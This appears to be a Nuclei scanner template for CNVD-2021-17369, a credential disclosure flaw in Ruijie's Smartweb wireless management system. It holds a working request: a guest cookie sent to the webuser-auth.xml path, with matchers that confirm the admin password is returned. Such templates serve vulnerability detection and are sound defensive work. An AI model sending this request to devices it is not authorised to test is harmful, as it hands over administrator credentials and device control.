id: CNVD-2021-17369

info:
  name: Ruijie Smartweb Management System Password Information Disclosure
  author: pikpikcu
  severity: high
  description: The wireless smartweb management system of Ruijie Networks Co., Ltd. has a logic flaw. An attacker can obtain the administrator account and password from a low-privileged user, thereby escalating the low-level privilege to the administrator's privilege.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: cnvd2021,cnvd,ruijie,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/xml/webuser-auth.xml"

    headers:
      Cookie: login=1; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<userauth>"
          - "<password>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008c6ff999b208576ff079713439c6c565a27d746214f9c91f949c9191d3ca09b4022100a66edb0376c09310f74fbc2c32046d7e81e156e3775371ebfce8596ed8fdf35c:922c64590222798bb761d5b6d8e72950